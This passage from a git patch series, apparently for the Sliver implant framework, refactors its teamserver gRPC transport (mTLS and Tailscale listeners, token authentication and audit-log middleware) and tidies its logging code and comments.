error) { } // Close implements team/server.Handler.Close(). -// In this implementation, the function does nothing. Thus the underlying -// *grpc.Server.Shutdown() method is not called, and only the listener -// will be closed by the server automatically when using CloseListener(). -// -// This is probably not optimal from a resource usage standpoint, but currently it -// fits most use cases. Feel free to reimplement or propose changes to this lib. +// Original sliver never closes the gRPC HTTP server itself +// with server.Shutdown(), so here we don't close anything. +// Note that the listener itself is controled/closed by +// our core teamserver driver. func (h *Teamserver) Close() error { return nil } +// serve is the transport-agnostic routine to serve the gRPC server +// (and its implemented Sliver services) onto a generic listener. +// Both mTLS and Tailscale teamserver backends use this. func (h *Teamserver) serve(ln net.Listener) { grpcServer := grpc.NewServer(h.options...) diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index 6b86c6902d..78dd991d8c 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -24,7 +24,6 @@ import ( "net/url" "os" "path/filepath" - "sync" "github.com/reeflective/team/server" "google.golang.org/grpc" @@ -33,21 +32,28 @@ import ( "github.com/bishopfox/sliver/server/assets" ) -type TailScaleTeamserver struct { +// tailscaleTeamserver is unexported since we only need it as +// a reeflective/team/server.Listener interface implementation. +type tailscaleTeamserver struct { *Teamserver } +// NewTailScaleListener returns a Sliver teamserver backend using Tailscale. func NewTailScaleListener(opts ...grpc.ServerOption) server.Listener { - core := &Teamserver{ - mutex: &sync.RWMutex{}, - } + core := NewListener(opts...) - core.options = append(core.options, opts...) + return &tailscaleTeamserver{core} +} - return &TailScaleTeamserver{core} +// Name indicates the transport/rpc stack. +func (ts *tailscaleTeamserver) Name() string { + return "gRPC/TSNet" } -func (ts *TailScaleTeamserver) Listen(addr string) (ln net.Listener, err error) { +// Close implements team/server.Handler.Close(). +// Instead of serving a classic TCP+TLS listener, +// we start a tailscale stack and create the listener out of it. +func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) { tsNetLog := ts.NamedLogger("transport", "tailscale") url, err := url.Parse(fmt.Sprintf("ts://%s", addr)) @@ -95,8 +101,3 @@ func (ts *TailScaleTeamserver) Listen(addr string) (ln net.Listener, err error) return ln, nil } - -// It indicates the transport/rpc stack, in this case "gRPC". -func (ts *TailScaleTeamserver) Name() string { - return "gRPC/TSNet" -} From ecdbf6e5dd6b37a87735ce11a1182b377ca18ca2 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 21:08:15 +0200 Subject: [PATCH 053/124] Further cleanup in teamserver transport --- server/transport/middleware-old.go.old | 292 ------------------------- server/transport/middleware.go | 138 +++++++++++- server/transport/rpc.go | 1 + 3 files changed, 130 insertions(+), 301 deletions(-) delete mode 100644 server/transport/middleware-old.go.old diff --git a/server/transport/middleware-old.go.old b/server/transport/middleware-old.go.old deleted file mode 100644 index 32aea05a18..0000000000 --- a/server/transport/middleware-old.go.old +++ /dev/null @@ -1,292 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "crypto/sha256" - "encoding/hex" - "encoding/json" - "sync" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/log" - grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" - grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" - grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" - "github.com/sirupsen/logrus" - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/credentials" - "google.golang.org/grpc/peer" - "google.golang.org/grpc/status" -) - -var ( - serverConfig = configs.GetServerConfig() - middlewareLog = log.NamedLogger("transport", "middleware") -) - -type contextKey int - -const ( - Transport contextKey = iota - Operator -) - -// initMiddleware - Initialize middleware logger -func initMiddleware(remoteAuth bool) []grpc.ServerOption { - logrusEntry := log.NamedLogger("transport", "grpc") - logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(codeToLevel), - } - grpc_logrus.ReplaceGrpcLogger(logrusEntry) - if remoteAuth { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(tokenAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(tokenAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } - } else { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(serverAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(serverAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } - } -} - -var tokenCache = sync.Map{} - -// ClearTokenCache - Clear the auth token cache -func ClearTokenCache() { - tokenCache = sync.Map{} -} - -func serverAuthFunc(ctx context.Context) (context.Context, error) { - newCtx := context.WithValue(ctx, Transport, "local") - newCtx = context.WithValue(newCtx, Operator, "server") - return newCtx, nil -} - -func tokenAuthFunc(ctx context.Context) (context.Context, error) { - mtlsLog.Debugf("Auth interceptor checking operator token ...") - rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") - if err != nil { - mtlsLog.Errorf("Authentication failure: %s", err) - return nil, status.Error(codes.Unauthenticated, "Authentication failure") - } - - // Check auth cache - digest := sha256.Sum256([]byte(rawToken)) - token := hex.EncodeToString(digest[:]) - newCtx := context.WithValue(ctx, Transport, "mtls") - if name, ok := tokenCache.Load(token); ok { - mtlsLog.Debugf("Token in cache!") - newCtx = context.WithValue(newCtx, Operator, name.(string)) - return newCtx, nil - } - operator, err := db.OperatorByToken(token) - if err != nil || operator == nil { - mtlsLog.Errorf("Authentication failure: %s", err) - return nil, status.Error(codes.Unauthenticated, "Authentication failure") - } - mtlsLog.Debugf("Valid user token for %s", operator.Name) - tokenCache.Store(token, operator.Name) - - newCtx = context.WithValue(newCtx, Operator, operator.Name) - return newCtx, nil -} - -func deciderUnary(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCUnaryPayloads -} - -func deciderStream(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCStreamPayloads -} - -// Maps a grpc response code to a logging level -func codeToLevel(code codes.Code) logrus.Level { - switch code { - case codes.OK: - return logrus.InfoLevel - case codes.Canceled: - return logrus.InfoLevel - case codes.Unknown: - return logrus.ErrorLevel - case codes.InvalidArgument: - return logrus.InfoLevel - case codes.DeadlineExceeded: - return logrus.WarnLevel - case codes.NotFound: - return logrus.InfoLevel - case codes.AlreadyExists: - return logrus.InfoLevel - case codes.PermissionDenied: - return logrus.WarnLevel - case codes.Unauthenticated: - return logrus.InfoLevel - case codes.ResourceExhausted: - return logrus.WarnLevel - case codes.FailedPrecondition: - return logrus.WarnLevel - case codes.Aborted: - return logrus.WarnLevel - case codes.OutOfRange: - return logrus.WarnLevel - case codes.Unimplemented: - return logrus.ErrorLevel - case codes.Internal: - return logrus.ErrorLevel - case codes.Unavailable: - return logrus.WarnLevel - case codes.DataLoss: - return logrus.ErrorLevel - default: - return logrus.ErrorLevel - } -} - -type auditUnaryLogMsg struct { - Request string `json:"request"` - Method string `json:"method"` - Session string `json:"session,omitempty"` - Beacon string `json:"beacon,omitempty"` - RemoteIP string `json:"remote_ip"` - User string `json:"user"` -} - -func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { - return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { - rawRequest, err := json.Marshal(req) - if err != nil { - middlewareLog.Errorf("Failed to serialize %s", err) - return - } - middlewareLog.Debugf("Raw request: %s", string(rawRequest)) - session, beacon, err := getActiveTarget(rawRequest) - if err != nil { - middlewareLog.Errorf("Middleware failed to insert details: %s", err) - } - - p, _ := peer.FromContext(ctx) - - // Construct Log Message - msg := &auditUnaryLogMsg{ - Request: string(rawRequest), - Method: info.FullMethod, - User: getUser(p), - RemoteIP: p.Addr.String(), - } - if session != nil { - sessionJSON, _ := json.Marshal(session) - msg.Session = string(sessionJSON) - } - if beacon != nil { - beaconJSON, _ := json.Marshal(beacon) - msg.Beacon = string(beaconJSON) - } - - msgData, _ := json.Marshal(msg) - log.AuditLogger.Info(string(msgData)) - - resp, err := handler(ctx, req) - return resp, err - } -} - -func getUser(client *peer.Peer) string { - tlsAuth, ok := client.AuthInfo.(credentials.TLSInfo) - if !ok { - return "" - } - if len(tlsAuth.State.VerifiedChains) == 0 || len(tlsAuth.State.VerifiedChains[0]) == 0 { - return "" - } - if tlsAuth.State.VerifiedChains[0][0].Subject.CommonName != "" { - return tlsAuth.State.VerifiedChains[0][0].Subject.CommonName - } - return "" -} - -func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { - var activeBeacon *clientpb.Beacon - var activeSession *clientpb.Session - - var request map[string]interface{} - err := json.Unmarshal(rawRequest, &request) - if err != nil { - return nil, nil, err - } - - // RPC is not a session/beacon request - if _, ok := request["Request"]; !ok { - return nil, nil, nil - } - - rpcRequest := request["Request"].(map[string]interface{}) - - middlewareLog.Debugf("RPC Request: %v", rpcRequest) - - if rawBeaconID, ok := rpcRequest["BeaconID"]; ok { - beaconID := rawBeaconID.(string) - middlewareLog.Debugf("Found Beacon ID: %s", beaconID) - beacon, err := db.BeaconByID(beaconID) - if err != nil { - middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err) - } else if beacon != nil { - activeBeacon = beacon.ToProtobuf() - } - } - - if rawSessionID, ok := rpcRequest["SessionID"]; ok { - sessionID := rawSessionID.(string) - middlewareLog.Debugf("Found Session ID: %s", sessionID) - session := core.Sessions.Get(sessionID) - if session != nil { - activeSession = session.ToProtobuf() - } - } - - return activeSession, activeBeacon, nil -} diff --git a/server/transport/middleware.go b/server/transport/middleware.go index 6a2d106d84..abc243192e 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -22,6 +22,11 @@ import ( "context" "encoding/json" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/db" + "github.com/reeflective/team/server" + grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" @@ -29,10 +34,8 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" + "google.golang.org/grpc/peer" "google.golang.org/grpc/status" - - "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/common" ) // bufferingOptions returns a list of server options with max send/receive @@ -76,7 +79,7 @@ func logMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { // Logging interceptors logrusEntry := s.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(common.CodeToLevel), + grpc_logrus.WithLevels(codeToLevel), } grpc_logrus.ReplaceGrpcLogger(logrusEntry) @@ -165,6 +168,7 @@ func serverAuthFunc(ctx context.Context) (context.Context, error) { return newCtx, nil } +// tokenAuthFunc uses the core reeflective/team/server to authenticate user requests. func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { log := ts.NamedLogger("transport", "grpc") log.Debugf("Auth interceptor checking user token ...") @@ -175,6 +179,8 @@ func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error return nil, status.Error(codes.Unauthenticated, "Authentication failure") } + // Let our core teamserver driver authenticate the user. + // The teamserver has its credentials, tokens and everything in database. user, authorized, err := ts.UserAuthenticate(rawToken) if err != nil || !authorized || user == "" { log.Errorf("Authentication failure: %s", err) @@ -188,8 +194,12 @@ func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error } type auditUnaryLogMsg struct { - Request string `json:"request"` - Method string `json:"method"` + Request string `json:"request"` + Method string `json:"method"` + Session string `json:"session,omitempty"` + Beacon string `json:"beacon,omitempty"` + RemoteIP string `json:"remote_ip"` + User string `json:"user"` } func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { @@ -203,15 +213,27 @@ func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) } log.Debugf("Raw request: %s", string(rawRequest)) - + session, beacon, err := getActiveTarget(log, rawRequest) if err != nil { log.Errorf("Middleware failed to insert details: %s", err) } + p, _ := peer.FromContext(ctx) + // Construct Log Message msg := &auditUnaryLogMsg{ - Request: string(rawRequest), - Method: info.FullMethod, + Request: string(rawRequest), + Method: info.FullMethod, + User: getUser(p), + RemoteIP: p.Addr.String(), + } + if session != nil { + sessionJSON, _ := json.Marshal(session) + msg.Session = string(sessionJSON) + } + if beacon != nil { + beaconJSON, _ := json.Marshal(beacon) + msg.Beacon = string(beaconJSON) } msgData, _ := json.Marshal(msg) @@ -222,3 +244,101 @@ func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) return resp, err } } + +func getUser(client *peer.Peer) string { + tlsAuth, ok := client.AuthInfo.(credentials.TLSInfo) + if !ok { + return "" + } + if len(tlsAuth.State.VerifiedChains) == 0 || len(tlsAuth.State.VerifiedChains[0]) == 0 { + return "" + } + if tlsAuth.State.VerifiedChains[0][0].Subject.CommonName != "" { + return tlsAuth.State.VerifiedChains[0][0].Subject.CommonName + } + return "" +} + +func getActiveTarget(middlewareLog *logrus.Entry, rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { + var activeBeacon *clientpb.Beacon + var activeSession *clientpb.Session + + var request map[string]interface{} + err := json.Unmarshal(rawRequest, &request) + if err != nil { + return nil, nil, err + } + + // RPC is not a session/beacon request + if _, ok := request["Request"]; !ok { + return nil, nil, nil + } + + rpcRequest := request["Request"].(map[string]interface{}) + + middlewareLog.Debugf("RPC Request: %v", rpcRequest) + + if rawBeaconID, ok := rpcRequest["BeaconID"]; ok { + beaconID := rawBeaconID.(string) + middlewareLog.Debugf("Found Beacon ID: %s", beaconID) + beacon, err := db.BeaconByID(beaconID) + if err != nil { + middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err) + } else if beacon != nil { + activeBeacon = beacon.ToProtobuf() + } + } + + if rawSessionID, ok := rpcRequest["SessionID"]; ok { + sessionID := rawSessionID.(string) + middlewareLog.Debugf("Found Session ID: %s", sessionID) + session := core.Sessions.Get(sessionID) + if session != nil { + activeSession = session.ToProtobuf() + } + } + + return activeSession, activeBeacon, nil +} + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/server/transport/rpc.go b/server/transport/rpc.go index 1178595aef..e3a7ce3aef 100644 --- a/server/transport/rpc.go +++ b/server/transport/rpc.go @@ -58,6 +58,7 @@ func (ts *rpcServer) GetVersion(context.Context, *proto.Empty) (*proto.Version, // GetUsers returns the list of teamserver users and their status. func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, error) { + // Fetch users from the teamserver user database. users, err := ts.server.Users() userspb := make([]*proto.User, len(users)) From 1686af1c01e7d0389994ce0041996e25e3e7c6c6 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 02:07:37 +0200 Subject: [PATCH 054/124] Fix some log errors --- server/log/audit.go | 8 +++---- server/log/log.go | 45 +++++++++++++++++------------------ server/rpc/rpc-client-logs.go | 9 ++++++- server/rpc/rpc-history.go | 9 ++++++- 4 files changed, 41 insertions(+), 30 deletions(-) diff --git a/server/log/audit.go b/server/log/audit.go index ac45ceded0..16e7969816 100644 --- a/server/log/audit.go +++ b/server/log/audit.go @@ -26,16 +26,14 @@ import ( "github.com/sirupsen/logrus" ) -var ( - // AuditLogger - Single audit log - AuditLogger = newAuditLogger() -) +// AuditLogger - Single audit log. +var AuditLogger = newAuditLogger() func newAuditLogger() *logrus.Logger { auditLogger := logrus.New() auditLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "audit.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } diff --git a/server/log/log.go b/server/log/log.go index 417627b85f..4a322403f0 100644 --- a/server/log/log.go +++ b/server/log/log.go @@ -35,13 +35,13 @@ const ( ) var ( - // RootLoggerName - Root logger name, contains all log data + // RootLoggerName - Root logger name, contains all log data. RootLoggerName = "root" - // RootLogger - Root Logger + // RootLogger - Root Logger. RootLogger = rootLogger() ) -// NamedLogger - Returns a logger wrapped with pkg/stream fields +// NamedLogger - Returns a logger wrapped with pkg/stream fields. func NamedLogger(pkg, stream string) *logrus.Entry { return RootLogger.WithFields(logrus.Fields{ "pkg": pkg, @@ -49,9 +49,8 @@ func NamedLogger(pkg, stream string) *logrus.Entry { }) } -// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/. func GetRootAppDir() string { - value := os.Getenv(envVarName) var dir string @@ -63,7 +62,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { panic("Cannot write to sliver root dir") } @@ -71,18 +70,18 @@ func GetRootAppDir() string { return dir } -// GetLogDir - Return the log dir +// GetLogDir - Return the log dir. func GetLogDir() string { rootDir := GetRootAppDir() if _, err := os.Stat(rootDir); os.IsNotExist(err) { - err = os.MkdirAll(rootDir, 0700) + err = os.MkdirAll(rootDir, 0o700) if err != nil { panic(err) } } logDir := path.Join(rootDir, "logs") if _, err := os.Stat(logDir); os.IsNotExist(err) { - err = os.MkdirAll(logDir, 0700) + err = os.MkdirAll(logDir, 0o700) if err != nil { panic(err) } @@ -90,12 +89,12 @@ func GetLogDir() string { return logDir } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func rootLogger() *logrus.Logger { rootLogger := logrus.New() rootLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "sliver.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -106,7 +105,7 @@ func rootLogger() *logrus.Logger { return rootLogger } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func txtLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -114,7 +113,7 @@ func txtLogger() *logrus.Logger { FullTimestamp: true, } txtFilePath := filepath.Join(GetLogDir(), "sliver.log") - txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -123,13 +122,13 @@ func txtLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type TxtHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewTxtHook(name string) *TxtHook { hook := &TxtHook{ Name: name, @@ -138,7 +137,7 @@ func NewTxtHook(name string) *TxtHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *TxtHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -172,12 +171,12 @@ func (hook *TxtHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *TxtHook) Levels() []logrus.Level { return logrus.AllLevels } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func stdoutLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -189,13 +188,13 @@ func stdoutLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type StdoutHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewStdoutHook(name string) *StdoutHook { hook := &StdoutHook{ Name: name, @@ -204,7 +203,7 @@ func NewStdoutHook(name string) *StdoutHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *StdoutHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -238,12 +237,12 @@ func (hook *StdoutHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *StdoutHook) Levels() []logrus.Level { return logrus.AllLevels } -// LevelFrom - returns level from int +// LevelFrom - returns level from int. func LevelFrom(level int) logrus.Level { switch level { case 0: diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index e99a2a09c3..c5117358cd 100644 --- a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -20,6 +20,8 @@ package rpc import ( "compress/gzip" + "context" + "errors" "fmt" "io" insecureRand "math/rand" @@ -102,10 +104,15 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { if err == io.EOF { break } + if err != nil { - rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + err = errors.New(status.Convert(err).Message()) // Unwrap the gRPC error + if !errors.Is(err, context.Canceled) { + rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + } return err } + streamName := fromClient.GetStream() if _, ok := streams[streamName]; !ok { streams[streamName], err = openNewLogStream(logsDir, streamName) diff --git a/server/rpc/rpc-history.go b/server/rpc/rpc-history.go index 7c72e9b986..aba3aea1b5 100644 --- a/server/rpc/rpc-history.go +++ b/server/rpc/rpc-history.go @@ -3,6 +3,7 @@ package rpc import ( "context" "encoding/json" + "errors" "fmt" "io" "os" @@ -13,6 +14,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/log" + "google.golang.org/grpc/status" ) /* @@ -117,7 +119,12 @@ func (rpc *Server) ImplantHistory(stream rpcpb.SliverRPC_ImplantHistoryServer) e break } if err != nil { - rpcClientLogs.Errorf("Failed to receive implant history data: %s", err) + // gRPC errors are a pain to work with... + canceled := errors.New(context.Canceled.Error()) + + if !errors.As(errors.New(status.Convert(err).Message()), &canceled) { + rpcClientLogs.Errorf("Failed to receive implant history data: %s", err) + } return err } From 9565314b0eae21ff8e5d772360cb535ee3eeee06 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 21:31:24 +0200 Subject: [PATCH 055/124] Cleanup and tidy server transport package. --- server/transport/middleware.go | 4 +- server/transport/mtls.go | 122 +++++++++++++++++++++++++++++ server/transport/rpc.go | 84 -------------------- server/transport/server.go | 136 +++++++++------------------------ server/transport/tailscale.go | 8 +- 5 files changed, 163 insertions(+), 191 deletions(-) create mode 100644 server/transport/mtls.go delete mode 100644 server/transport/rpc.go diff --git a/server/transport/middleware.go b/server/transport/middleware.go index abc243192e..0ead39c38b 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -123,7 +123,7 @@ func tlsAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { } // initAuthMiddleware - Initialize middleware logger. -func (ts *Teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { +func (ts *teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { var requestOpts []grpc.UnaryServerInterceptor var streamOpts []grpc.StreamServerInterceptor @@ -169,7 +169,7 @@ func serverAuthFunc(ctx context.Context) (context.Context, error) { } // tokenAuthFunc uses the core reeflective/team/server to authenticate user requests. -func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { +func (ts *teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { log := ts.NamedLogger("transport", "grpc") log.Debugf("Auth interceptor checking user token ...") diff --git a/server/transport/mtls.go b/server/transport/mtls.go new file mode 100644 index 0000000000..b74ee97c03 --- /dev/null +++ b/server/transport/mtls.go @@ -0,0 +1,122 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "net" + "sync" + + "github.com/reeflective/team/server" + "google.golang.org/grpc" + "google.golang.org/grpc/test/bufconn" +) + +// teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. +// This listener backend embeds a team/server.Server core driver and uses it for fetching +// server-side TLS configurations, use its loggers and access its database/users/list. +type teamserver struct { + *server.Server + + options []grpc.ServerOption + conn *bufconn.Listener + mutex *sync.RWMutex +} + +// newTeamserverTLS returns a vanilla tcp+mtls gRPC teamserver listener backend. +// Developers: note that the teamserver type is already set with logging/ +// auth/middleware/buffering gRPC options. You can still override them. +func newTeamserverTLS(opts ...grpc.ServerOption) *teamserver { + listener := &teamserver{ + mutex: &sync.RWMutex{}, + options: bufferingOptions(), + } + + listener.options = append(listener.options, opts...) + + return listener +} + +// Name immplements team/server.Handler.Name(). +// It indicates the transport/rpc stack. +func (h *teamserver) Name() string { + return "gRPC/mTLS" +} + +// Init implements team/server.Handler.Init(). +// It is used to initialize the listener with the correct TLS credentials +// middleware (or absence of if about to serve an in-memory connection). +func (h *teamserver) Init(team *server.Server) (err error) { + h.Server = team + + // Logging + logOptions, err := logMiddlewareOptions(h.Server) + if err != nil { + return err + } + + h.options = append(h.options, logOptions...) + + // Authentication/audit + authOptions, err := h.initAuthMiddleware() + if err != nil { + return err + } + + h.options = append(h.options, authOptions...) + + return nil +} + +// Listen implements team/server.Handler.Listen(). +// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients. +func (h *teamserver) Listen(addr string) (ln net.Listener, err error) { + // In-memory connection are not authenticated. + if h.conn == nil { + ln, err = net.Listen("tcp", addr) + if err != nil { + return nil, err + } + + // Encryption. + tlsOptions, err := tlsAuthMiddlewareOptions(h.Server) + if err != nil { + return nil, err + } + + h.options = append(h.options, tlsOptions...) + } else { + h.mutex.Lock() + ln = h.conn + h.conn = nil + h.mutex.Unlock() + } + + h.serve(ln) + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// Original sliver never closes the gRPC HTTP server itself +// with server.Shutdown(), so here we don't close anything. +// Note that the listener itself is controled/closed by +// our core teamserver driver. +func (h *teamserver) Close() error { + return nil +} diff --git a/server/transport/rpc.go b/server/transport/rpc.go deleted file mode 100644 index e3a7ce3aef..0000000000 --- a/server/transport/rpc.go +++ /dev/null @@ -1,84 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later 